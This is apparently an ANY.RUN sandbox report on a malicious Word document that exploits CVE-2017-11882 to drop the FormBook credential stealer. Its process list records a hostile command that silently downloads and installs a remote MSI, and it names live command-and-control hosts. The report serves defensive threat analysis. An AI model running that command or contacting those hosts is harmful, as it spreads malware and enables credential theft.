analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

0154d40bb2e37b97dd7aa135fc4fe0e20b97b1fd996180440eb4f339a49d10f2.docx

Full analysis: https://app.any.run/tasks/3d7eb307-395b-4a1f-bd33-1ba99a92ce90
Verdict: Malicious activity
Threats:

FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus.

Malware Trends Tracker     >>>
Analysis date: December 06, 2018, 06:28:59
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
generated-doc
exploit
CVE-2017-11882
exe-to-msi
trojan
formbook
stealer
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

66F548137EE3E89EEFACB0CB836B34E7

SHA1:

506482ED84DBCF6EAA21FC84E727EB5EA0D8D35C

SHA256:

0154D40BB2E37B97DD7AA135FC4FE0E20B97B1FD996180440EB4F339A49D10F2

SSDEEP:

3072:z7lL2mrdFADYhDFc8rpKSvNYbWRDzUyRBelYc3nTMSFm9d+tlKdeeyx:z7lCAdFkYhDFBxvqyRmTMSFmfSX

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2756)

    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 3452)

    • Connects to CnC server

      • explorer.exe (PID: 236)

    • FORMBOOK was detected

      • explorer.exe (PID: 236)

    • Changes the autorun value in the registry

      • raserver.exe (PID: 4028)

    • Actions looks like stealing of personal data

      • raserver.exe (PID: 4028)

    • Formbook was detected

      • raserver.exe (PID: 4028)

    • Stealing of credential data

      • raserver.exe (PID: 4028)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 2756)
      • raserver.exe (PID: 4028)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3028)

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3028)

    • Loads DLL from Mozilla Firefox

      • raserver.exe (PID: 4028)

    • Creates files in the user directory

      • raserver.exe (PID: 4028)

  • INFO

    • Starts Microsoft Office Application

      • explorer.exe (PID: 236)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2964)

    • Application was crashed

      • EQNEDT32.EXE (PID: 2756)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2964)

    • Application was dropped or rewritten from another process

      • MSIDE21.tmp (PID: 2252)
      • MSIDE21.tmp (PID: 3228)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 3028)
      • MSIDE21.tmp (PID: 2252)

    • Application launched itself

      • MSIDE21.tmp (PID: 2252)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3028)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docx | Word Microsoft Office Open XML Format document (52.2)
.zip | Open Packaging Conventions container (38.8)
.zip | ZIP compressed archive (8.8)

EXIF

XMP

Description: -
Creator: Windows User
Subject: -
Title: -

XML

ModifyDate: 2018:11:14 11:14:00Z
CreateDate: 2018:11:14 11:14:00Z
RevisionNumber: 2
LastModifiedBy: Richard
Keywords: -
AppVersion: 15
HyperlinksChanged: No
SharedDoc: No
CharactersWithSpaces: 1
LinksUpToDate: No
Company: -
TitlesOfParts: -
HeadingPairs:
  • Title
  • 1
ScaleCrop: No
Paragraphs: 1
Lines: 1
DocSecurity: None
Application: Microsoft Office Word
Characters: 1
Words: -
Pages: 1
TotalEditTime: -
Template: template.dotx

ZIP

ZipFileName: [Content_Types].xml
ZipUncompressedSize: 1364
ZipCompressedSize: 351
ZipCRC: 0x2ea8411c
ZipModifyDate: 1980:01:01 00:00:00
ZipCompression: Deflated
ZipBitFlag: 0x0006
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
11
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe eqnedt32.exe no specs mside21.tmp no specs mside21.tmp no specs #FORMBOOK raserver.exe cmd.exe no specs #FORMBOOK explorer.exe

Process information

PID
CMD
Path
Indicators
Parent process
2964"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\0154d40bb2e37b97dd7aa135fc4fe0e20b97b1fd996180440eb4f339a49d10f2.docx"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2756"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
3452cmd.exe & /C CD C: & msiexec.exe /i https://a.doko.moe/owebbk.msi /quiet C:\Windows\system32\cmd.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3916msiexec.exe /i https://a.doko.moe/owebbk.msi /quiet C:\Windows\system32\msiexec.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3028C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3548"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE—svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
2252"C:\Windows\Installer\MSIDE21.tmp"C:\Windows\Installer\MSIDE21.tmp—msiexec.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3228"C:\Windows\Installer\MSIDE21.tmp"C:\Windows\Installer\MSIDE21.tmp—MSIDE21.tmp
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
4028"C:\Windows\System32\raserver.exe"C:\Windows\System32\raserver.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Remote Assistance COM Server
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2812/c del "C:\Windows\Installer\MSIDE21.tmp"C:\Windows\System32\cmd.exe—raserver.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 475
Read events
977
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
93
Text files
15
Unknown types
5

Dropped files

PID
Process
Filename
Type
2964WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA636.tmp.cvr —
MD5:—
SHA256:—
2964WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{576C1659-8157-489E-871B-E8F986A1D8FA} —
MD5:—
SHA256:—
2964WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{4D0A5B58-D682-42E3-9D80-2BABFF1D12EC} —
MD5:—
SHA256:—
2964WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:C0E05B10780841AE15969333DA0BFE18
SHA256:8C88F01A0964845A6E238B57D62EF68368276FA649122C778F7D617F63C6E443
2964WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSDbinary
MD5:B3B17350C87BA9FC7C6367752C140B12
SHA256:A0248B2B8389069FCF690F8042AE852F2F7DE2F5ECEC2BED9526F400EBA0D52D
2964WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF-CTBL.FSFbinary
MD5:97A226494B0F4E792B969F08BA10D1D1
SHA256:400EB9FB34AFE0C1C3659BAF7222BFC861AA119BF8C31507F410704259682303
2964WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$54d40bb2e37b97dd7aa135fc4fe0e20b97b1fd996180440eb4f339a49d10f2.docxpgc
MD5:B0A197B79BA7A4E09B695432C2F838FF
SHA256:378B95BE57E7C2D62FD8AF4549E8DEB08B7157683A976601FD27582C2DF25947
2964WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-CNRY.FSDbinary
MD5:FDF7516D4142261B9B6A3760A76D9D8C
SHA256:E95057D21C191FD38A6A3FA540278586D466B8659598E105292302C4BD31739F
2964WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{A118DBED-EBEA-49A5-BEB7-FAC532A21403}.FSDbinary
MD5:53085F026EA1B45457DAD185B56AA0F6
SHA256:9EF2015A411390727BEF8A85CE51F22BDE213B12F0AA222A0704D59F1C4684A8
2964WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\yxczey[1].doctext
MD5:B4A4F74A8A87D4A5F43DBF9216D31253
SHA256:D4F8F556F76597B6A78DC0854C14BA2051D2AFCE1DDB9B8F61C3B8D3C803699D
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
5
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
236
explorer.exe
GET
200
209.99.40.223:80
http://www.tspaw.com/ka/?BZ=IxtRt1FDZZK2TAFp8NJTMl+WPiTjzZb02+XM8bJ9gaU9upVRzEjzua+mbv8KZbVTfYJ8+A==&_hGH7=hBcXm4q8lxD
US
html
271 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
972
svchost.exe
185.83.215.2:443
a.doko.moe
—
PT
suspicious
2964
WINWORD.EXE
185.83.215.2:443
a.doko.moe
—
PT
suspicious
236
explorer.exe
209.99.40.223:80
www.tspaw.com
Confluence Networks Inc
US
malicious
3028
msiexec.exe
185.83.215.2:443
a.doko.moe
—
PT
suspicious

DNS requests

Domain
IP
Reputation
a.doko.moe
  • 185.83.215.2
unknown
www.tspaw.com
  • 209.99.40.223
malicious

Threats

PID
Process
Class
Message
236
explorer.exe
A Network Trojan was detected
SC SPYWARE Spyware Noon Win32
236
explorer.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious HTTP-GET request with body and minimal header
236
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] FormBook CnC Checkin (GET)
7 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
0154d40bb2e37b97dd7aa135fc4fe0e20b97b1fd996180440eb4f339a49d10f2.docx